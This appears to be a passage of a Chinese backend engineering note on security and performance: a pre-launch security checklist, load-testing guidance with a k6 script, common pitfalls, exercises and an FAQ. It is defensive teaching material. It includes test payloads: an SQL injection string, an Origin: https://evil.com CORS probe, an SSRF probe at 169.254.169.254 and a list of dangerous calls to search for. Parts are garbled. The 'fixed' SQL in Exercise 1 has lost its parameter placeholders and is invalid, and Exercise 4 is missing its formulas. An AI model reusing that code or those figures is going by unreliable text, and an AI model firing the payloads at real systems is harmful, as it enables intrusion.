输入校验深度校验所有字段正则回溯、多次遍历带来的 CPU① 用编译好的 schema 校验器;② 警惕 ReDoS(灾难性回溯的正则);③ 校验在边界做一次,内部不重复
深度防御多层校验、多次鉴权每层都有开销① 把便宜的检查放前面(格式校验 → 限流 → 鉴权 → 业务);② 缓存权限判定结果(带短 TTL)
CSP 严格模式禁止内联脚本需要 nonce 机制,页面不能被 CDN 静态缓存① 用 hash 或 nonce;② 静态页面与动态页面用不同策略
最小权限数据库账号权限受限无法使用某些批量优化手段(如 TRUNCATE、临时表)为批处理任务单独开一个受控账号,而不是给应用账号放权

三个具体的平衡技巧:

// ① 密码哈希:登录接口单独限流 + 并发闸门
// 慢哈希的成本是「每个请求几十毫秒 CPU」,攻击者可以用大量登录请求耗尽 CPU
const loginLimiter = new RateLimiter({ limit: 10, windowSec: 60, key: (req) => `login:${req.ip}` });
const loginGate = new Semaphore(4);      // 同时最多 4 个哈希计算,防止 CPU 打满

app.post('/login', async (req, res, next) => {
  if (!(await loginLimiter.allow(req))) return res.status(429).json({ error: 'too many attempts' });
  await loginGate.acquire();
  try {
    // ... 校验与哈希计算
  } finally {
    loginGate.release();
  }
});

// ② TLS:会话复用 + 长连接(Nginx 侧配置)
// ssl_session_cache shared:SSL:10m;   1MB ≈ 4000 个会话
// ssl_session_timeout 1h;
// keepalive_timeout 70;               减少重复握手
// 上游也用 keepalive 复用连接(proxy_http_version 1.1 + 清空 Connection 头)

// ③ 加密字段与检索:加密值不可索引,用「哈希列」做等值查找
// ALTER TABLE users ADD COLUMN id_card_cipher bytea;   -- 加密后的值(可解密展示)
// ALTER TABLE users ADD COLUMN id_card_hash   text;    -- HMAC(pepper, 明文),用于等值查找
// CREATE UNIQUE INDEX uniq_id_card_hash ON users(id_card_hash);
// 注意:HMAC 的密钥(pepper)必须存在密钥管理系统里,不在数据库中
// 局限:只能做等值查找,无法做范围查询与前缀匹配

判断哪个优先的三条准则

1. 安全和合规是硬约束,性能是软约束。监管要求加密存储的字段必须加密,此时「性能下降」是既定成本,应该去优化别处,而不是取消加密。

2. 把安全的代价集中到低频路径。登录是低频的(相比读接口),所以哈希慢一点可以接受;反之,如果在每个读请求上做昂贵的权限计算就不合理,应该缓存。

3. 量化代价后再决策。不要用「加了加密会变慢」这种模糊判断,而要说「字段加密后这个查询会从索引查找退化为全表扫描,1000 万行下约 800 ms,超出 200 ms 的目标——所以改为存储哈希列做检索」。

十一、上线前安全自查清单

15 项安全自查(上线前逐项确认)

| # | 检查项 | 如何验证 | 类别 |

|---|---|---|---|

| 1 | 所有输入经过白名单校验 | 检查每个接口入口是否都有 schema 校验;构造畸形 JSON 与超长字符串测试 | 输入 |

| 2 | 所有 SQL 使用参数化查询 | 全局搜索字符串模板与 + 拼接 SQL;检查 ORM 原生查询 | 注入 |

| 3 | 表名/列名/排序字段使用映射白名单 | 检查动态 SQL 构造处 | 注入 |

| 4 | 无命令执行 / eval / 不安全反序列化 | 搜索 exec(、eval(、new Function、pickle.loads、unserialize | 注入 |

| 5 | 每个接口都做了授权校验(不只是认证) | 用两个账号交叉访问对方资源,覆盖所有带 ID 的接口 | 访问控制 |

| 6 | 权限默认拒绝 | 新增接口若不显式声明权限,是否会被拒绝? | 访问控制 |

| 7 | 密码使用 Argon2id/bcrypt 加盐哈希 | 查数据库 password 列的实际内容格式 | 加密 |

| 8 | 敏感字段加密或掩码存储 | 检查身份证、银行卡、密钥的存储方式 | 加密 |

| 9 | 生产环境无详细错误返回 | 故意触发 500,确认响应里没有堆栈与 SQL | 配置 |

| 10 | CORS 为明确白名单 | 用 Origin: https://evil.com 请求,确认不返回 Allow-Origin | 配置 |

| 11 | 会话 Cookie 具备 HttpOnly+Secure+SameSite | 查看响应 Set-Cookie 头 | 会话 |

| 12 | 关键接口有速率限制(登录、注册、短信、支付) | 用脚本连续请求,确认返回 429 | 防刷 |

| 13 | 写操作幂等(幂等键或唯一约束) | 并发发送同一请求两次,确认只产生一条记录 | 一致性 |

| 14 | 无 SSRF(URL 参数有白名单 + 禁跟随重定向) | 传内网地址与 169.254.169.254,确认被拒绝 | SSRF |

| 15 | 关键安全事件有审计日志与告警 | 触发一次越权与一次登录失败,确认日志与告警 | 可观测 |

补充三项(强烈建议):16 依赖漏洞扫描已进 CI;17 上传功能存对象存储 + 重命名 + 强制下载;18 数据库账号为最小权限。

十二、性能压测清单

压测前必须确认的 12 项

| # | 项目 | 要求 |

|---|---|---|

| 1 | 目标已明确 | 写清「目标 QPS、可接受的 p95 与 p99、错误率上限」,而不是「压一下看看」 |

| 2 | 环境与生产一致 | 机器规格、实例数、数据库数据量级、缓存状态尽量对齐;至少说明差异 |

| 3 | 数据量接近真实 | 空库压测的结论毫无意义;表要有真实量级的数据与索引 |

| 4 | 请求分布真实 | 混合读写比例、热点参数分布(不要所有请求都命中同一条缓存) |

| 5 | 压测机不是瓶颈 | 压测前在压测机上确认 CPU/网络未打满;必要时多台分布式压测 |

| 6 | 已获得授权 | 生产环境压测必须提前通知相关方并准备限流开关 |

| 7 | 有监控同步观察 | 压测时同步看 CPU、内存、连接池、慢查询、缓存命中率、下游错误率 |

| 8 | 压到拐点 | 不只测目标 QPS,要逐步加压找到「延迟开始非线性上升」的临界点 |

| 9 | 记录分位数 | 采集 p50/p95/p99/max,而不是只看平均值 |

| 10 | 测恢复能力 | 压力撤掉后观察延迟与资源能否回落(不能回落说明有泄漏或积压) |

| 11 | 测极限与降级 | 超过容量时是「优雅降级」还是「雪崩」?限流与熔断是否生效 |

| 12 | 形成报告与结论 | 包含:配置、数据量、脚本、曲线、瓶颈定位、结论与建议 |

必须避免的四个错误:① 只看平均延迟;② 压测期间改配置(结果不可复现);③ 用压测环境的结论直接推断生产;④ 压完不清理测试数据(污染生产数据)。

// ✅ k6:把性能门禁写进 CI(指标不达标即失败)
import http from 'k6/http';
import { check, sleep } from 'k6';

export const options = {
  scenarios: {
    // 场景 1:稳定负载,验证目标 QPS 下的分位数
    steady: {
      executor: 'constant-arrival-rate',
      rate: 500, timeUnit: '1s', duration: '5m',
      preAllocatedVUs: 200, maxVUs: 1000,
      exec: 'readPath',
    },
    // 场景 2:阶梯加压,寻找拐点
    ramp: {
      executor: 'ramping-arrival-rate',
      startRate: 100, timeUnit: '1s',
      stages: [
        { target: 300, duration: '2m' },
        { target: 800, duration: '2m' },
        { target: 1500, duration: '2m' },
      ],
      preAllocatedVUs: 400, maxVUs: 3000,
      startTime: '6m',
      exec: 'readPath',
    },
  },
  thresholds: {
    'http_req_duration{scenario:steady}': ['p(95)<300', 'p(99)<800'],
    'http_req_failed': ['rate<0.01'],
  },
};

export function readPath() {
  const res = http.get(`${__ENV.BASE_URL}/api/orders?page=1`, {
    headers: { Authorization: `Bearer ${__ENV.TOKEN}` },
  });
  check(res, { 'status 200': (r) => r.status === 200 });
  sleep(0.1);
}

十三、常见坑

后端安全与性能的高频踩坑清单

1. 只做了认证,忘了授权——登录了就以为安全,任何登录用户能看任何人的数据(IDOR)。

2. 用前端隐藏代替权限控制——按钮藏了,接口裸奔。

3. 「先查询再写入」判断唯一性——并发下必然重复,必须用唯一约束。

4. 密码用 MD5/SHA-256——GPU 每秒数十亿次,等于明文。

5. Access-Control-Allow-Origin 反射 Origin——等于关掉同源策略。

6. 把原始异常返回客户端——泄露表名、SQL、文件路径。

7. 信任 X-Forwarded-For 的第一个值——攻击者可以伪造 IP 绕过限流。

8. 上传文件存到 Web 根目录且允许执行——直接 getshell。

9. URL 参数直接请求(SSRF)——读到云元数据里的凭据,云账号被接管。

10. 日志里打了密码与令牌——日志系统变成凭据泄露源。

11. 审计日志有了但没有告警——被拖库三个月后才发现。

12. 缓存 key 没有 TTL——内存写满后写入报错,或淘汰策略把持久数据淘汰掉。

13. 大量 key 同一时刻过期——缓存雪崩,数据库被打穿。

14. 热点 key 过期瞬间全量回源——缓存击穿,单条数据打满数据库。

15. 查询不存在的 ID 不缓存空值——缓存穿透,恶意请求直击数据库。

16. 先删缓存再写库——缓存长期脏数据直到 TTL 到期。

17. 事务里做网络调用——第三方接口一慢,数据库连接池被占满。

18. 连接池不设 connectionTimeout——请求无限等待,堆积比快速失败更糟。

19. 连接池按「感觉」设成几百——数据库上下文切换开销剧增,吞吐反而下降。

20. 慢查询只按「单次最慢」排序优化——应该按 total_exec_time(总耗时)排序。

21. 深分页用大 OFFSET——扫描并丢弃百万行,必须改键集分页。

22. 读写分离后立即回查从库——用户看不到自己刚写的数据。

23. 消息消费不幂等——至少一次投递导致重复扣款、重复发券。

24. 失败重试无上限无退避——把下游故障放大成雪崩。

25. 死信队列没告警没处理流程——变成静默的数据黑洞。

26. 性能优化不测量——优化了不重要的地方,还引入了新 bug。

27. 只看平均延迟——p99 已经 5 秒,平均值还显示 60 ms。

28. 字段加密后仍然在加密列上建索引——索引对加密值无效,查询退化为全表扫描。

十四、练习题

练习 1:找出漏洞并修复(SQL 注入 + IDOR)

以下代码有两个严重漏洞,请指出并给出修复版本:

```javascript

app.get('/api/invoices', async (req, res) => {

const q = "SELECT * FROM invoices WHERE user_id = " + req.query.userId

+ " AND status = '" + req.query.status + "'";

const rows = await db.query(q);

res.json(rows);

});

```

参考思路:

① SQL 注入:userId 与 status 都被拼接。传 status = ' OR '1'='1 可拿到全部发票。

② 水平越权:userId 来自查询参数,攻击者可以填任意用户 ID 拿到别人的发票。修复时 userId 必须来自 req.user.id。

③ 附带问题:SELECT * 会返回不该暴露的字段(内部备注、成本价等),应显式列出需要的列;status 应做枚举白名单校验。

```javascript

app.get('/api/invoices', requireAuth, async (req, res) => {

const ALLOWED = new Set(['pending', 'paid', 'void']);

const status = req.query.status;

if (status && !ALLOWED.has(status)) return res.status(400).json({ error: 'invalid status' });

const rows = await db.query(

`SELECT id, amount, currency, status, created_at

FROM invoices

WHERE user_id = 2::text IS NULL OR status = $2)

ORDER BY created_at DESC LIMIT 50`,

[req.user.id, status || null]); // userId 来自会话,不来自参数

res.json(rows);

});

```

练习 2:设计一个防重复支付的接口

某支付接口在弱网下会被客户端重试。请设计一个方案,保证「同一笔订单无论重试多少次都只扣款一次」,并说明并发情况下为什么你的方案有效。

参考要点:见第 5.3 与 9.2 节。核心是 幂等键 + 数据库唯一约束:

① 客户端为每次「支付意图」生成一个幂等键(UUID)并在重试时复用;

② 服务端在 idempotency_keys 表上建唯一索引,INSERT 成功者才执行业务;

③ 冲突时读取已保存的响应并原样返回(保证重试拿到相同结果);

④ 业务失败时删除占位,允许用户换参数重试;

⑤ 支付网关侧也传幂等键作为第二层保险。

为什么并发下有效:唯一索引由数据库保证,两个并发 INSERT 只有一个能成功,另一个必然收到唯一约束冲突——这是原子的,不存在「同时读到不存在」的窗口。相比之下,应用层的「先查询再写入」在并发下会双双通过检查。

练习 3:缓存三大故障的诊断

监控显示:某接口 QPS 突增时数据库 CPU 飙升到 100%,但缓存命中率仍显示 95%。请分别说明在什么情况下这属于「穿透」「击穿」「雪崩」,以及你如何用监控数据区分它们。

参考要点:

① 穿透:命中率的分母包含大量「本就不存在的 key」。区分特征——大量请求查的是不存在的 key(可在日志里看返回 404 的参数分布),且这些 key 每次都不重复(基数很高)。对策:空值缓存 + 布隆过滤器 + 参数格式校验。

② 击穿:某一个热点 key 刚好过期,瞬时并发请求同时未命中。区分特征——evicted_keys/过期事件集中在同一秒;数据库里出现同一条 SQL 的大量重复执行。对策:互斥锁(只放一个回源)或逻辑过期 + 异步刷新。

③ 雪崩:大量 key 在同一时刻过期,或缓存服务本身不可用。区分特征——过期 key 数量在某个时间点集中飙升(TTL 设置相同);或 Redis 连接数骤降/报错率飙升(服务不可用)。对策:TTL 加随机抖动 + 缓存高可用 + 多级缓存 + 限流降级。

监控上要注意:命中率 95% 是聚合值,必须按 key 前缀分组看,才能发现「某一类 key 全部未命中」。此外要监控「回源 QPS」这个直接指标,它比命中率更早暴露问题。

练习 4:连接池估算与故障排查

某服务单实例 300 QPS,95% 的请求是简单查询(平均 5 ms),5% 是报表查询(平均 800 ms)。数据库为 8 核 CPU + SSD。请估算所需连接池大小,并说明如果池设置为 100 会发生什么。

参考要点:

① 数据库侧建议上限约 (再乘以实例数才是全局上限,所以单实例池应远小于 17)。

② 应用侧需求:简单查询 ;报表查询 。合计约 14 个并发连接。所以池设在 15~20 即可。

③ 若设为 100:a) 远超数据库的舒适并发(17),大量连接会互相争抢 CPU 与锁,吞吐反而下降、p99 恶化;b) 若多实例部署(如 5 个实例),总连接数达 500,数据库很可能直接拒绝新连接(too many clients);c) 更根本的问题是报表查询与在线查询共用一个池——报表的 800 ms 会挤占在线请求的连接。正确做法是为报表拆出独立的数据源(连到只读从库)与独立池,让慢查询不能污染在线路径。

练习 5:安全与性能的权衡论证

产品要求把用户身份证号加密存储,但同时要求支持「按身份证号精确查询用户」。请给出方案,并说明它在性能与安全上的取舍。

参考要点:

① 冲突点:加密(非确定性加密)后同一明文每次密文不同,且加密值无法用于索引查找 → 精确查询会退化为全表扫描(千万行下不可接受)。

② 方案:双列存储——id_card_cipher(AES-GCM 等确定性或非确定性加密,用于解密展示)+ id_card_hash(HMAC-SHA256(pepper, 规范化后的明文),用于等值查询),并在 id_card_hash 上建唯一索引。查询时先对输入做同样的 HMAC,再用索引查找。

③ 为什么用 HMAC 而不是裸哈希:身份证号的取值空间很小(可枚举),裸 SHA-256 会被彩虹表/暴力枚举逆推;HMAC 的密钥(pepper)存在密钥管理系统而不在数据库里,拖库后也无法离线枚举。

④ 取舍:性能上从全表扫描变为索引查找(数量级提升),代价是多一列存储与一次 HMAC 计算(微秒级);安全上数据库泄露后攻击者拿不到明文,但只能做等值查询,无法做范围查询与前缀匹配(如「查所有 1990 年出生的人」)——如果产品需要这类查询,就必须额外设计(如单独存出生日期列)。

⑤ 必须同时做的:审计日志记录每次按身份证查询的调用方与目标用户;对这类接口单独限流;密钥支持轮换(轮换时需要重算所有 HMAC,要规划迁移方案)。

十五、FAQ

用了 ORM 是不是就不会有 SQL 注入?

不是。ORM 的查询构造器(where、findAll)默认使用参数化,是安全的;但几乎每个 ORM 都提供「原生查询」逃生通道(sequelize.query、db.raw、EntityManager.createNativeQuery、EF Core 的 FromSqlRaw),一旦在里面拼接字符串,注入风险与手写 SQL 完全相同。此外还有两个容易被忽略的点:① 排序字段与列名通常无法参数化,必须白名单映射;② ORM 生成的 SQL 未必安全(例如某些 ORM 的 order 参数处理不当)。安全的判断标准是「用户输入是否可能改变 SQL 结构」,而不是「有没有用 ORM」。

JWT 和 Session 哪个更安全?

两者安全性取决于实现,而不是技术本身。

- JWT 的优势是无状态、跨服务方便;风险是:① 无法立即吊销(签出后到过期前一直有效,缓解手段是短有效期 + 刷新令牌 + 服务端吊销名单);② 算法混淆攻击(必须固定算法并校验 alg,禁止接受 none);③ 把敏感信息放进 payload(payload 是可解码的,不是加密的);④ 存在 localStorage 里会放大 XSS 后果。

- Session 的优势是可立即失效、可主动踢人、不暴露给 JS(HttpOnly);代价是需要一个共享存储(Redis),并且引入一个必须高可用的依赖。

选择建议:需要「立即吊销」「主动下线」的业务(金融、后台管理)用 Session;跨多个服务、需要无状态扩展的场景用 JWT(配合短有效期 + 刷新令牌)。两者都应放在 HttpOnly + Secure + SameSite Cookie 里,并配合 CSRF Token。

缓存和数据库不一致,业务上真的能接受吗?

取决于「读到旧值」的业务后果,需要分类讨论:

- 可接受:商品标题、文章内容、数量统计、推荐列表——短暂旧值无实质影响。

- 不可接受:支付状态、库存余量(下单校验)、账户余额、权限变更。

对不可接受的场景,正确做法不是去追求「缓存强一致」(成本极高且仍有窗口),而是让这些读请求不走缓存(直接读主库),或用条件更新让数据库本身保证正确性(如 UPDATE stock SET qty = qty - 1 WHERE qty >= 1 并检查影响行数)。一句话:一致性要求高的路径不要引入缓存,而不是引入了再去解决一致性问题。

为什么监控说 CPU 只有 30%,但接口已经超时?

CPU 只是四类瓶颈之一。常见原因:

① 连接池/线程池排队:请求在等连接,不消耗 CPU(最容易被忽略)。

② IO 等待:load average 高但 CPU 空闲,磁盘或网络存储慢。

③ 等下游:在等第三方 API 或数据库响应,应用侧 CPU 空闲。

④ 锁竞争:线程被阻塞,CPU 空闲。

⑤ GC 停顿:短时 CPU 升高但不体现在平均值上。

⑥ 网络丢包重传:表现为偶发超时,CPU 正常。

排查时应该看「饱和度」类指标(连接池占用、队列长度、磁盘 IO 队列、GC 时间占比),而不只是 CPU 利用率。这也是为什么第 8.1 节把「饱和度」列为四个黄金信号之一。

压测出来的 QPS 能直接当作线上容量吗?

不能,通常要打折使用。 差异来源:① 压测数据往往比真实数据更「热」(缓存命中率虚高);② 压测环境可能缺少真实的下游依赖与网络延迟;③ 真实流量有长尾请求(压测脚本通常只覆盖典型路径);④ 压测时数据库缓存刚刚预热,长期运行后会出现缓存淘汰与统计信息漂移;⑤ 真实系统还有定时任务、日志写入、备份等额外负载。

实践做法:把压测结果乘以一个安全系数(常见 0.5~0.7)作为容量规划依据,并在生产上保留自动扩容与限流开关。同时压测的更大价值不是那个 QPS 数字,而是「找到瓶颈在哪一层」以及「验证降级与限流是否生效」。

相关笔记

  • 后端-06-认证与授权——认证、会话、JWT、RBAC 的设计,是本文 A01/A07 两项的前提
  • 后端-05-数据库操作与ORM——索引、事务、连接池与 N+1 问题的深入讲解
  • 后端-08-部署与运维基础——日志、监控、告警与安全头在部署层的落地(HSTS、限流、证书)
  • 前端-04-浏览器与HTTP——XSS、CSRF、Cookie、CORS 与 CSP 的浏览器侧机制
  • 后端-01-HTTP与RESTfulAPI设计——状态码、方法与幂等语义,直接影响接口的安全与一致性设计
  • 工具-08-CICD入门——依赖漏洞扫描、镜像扫描与性能门禁在流水线中的集成

参考来源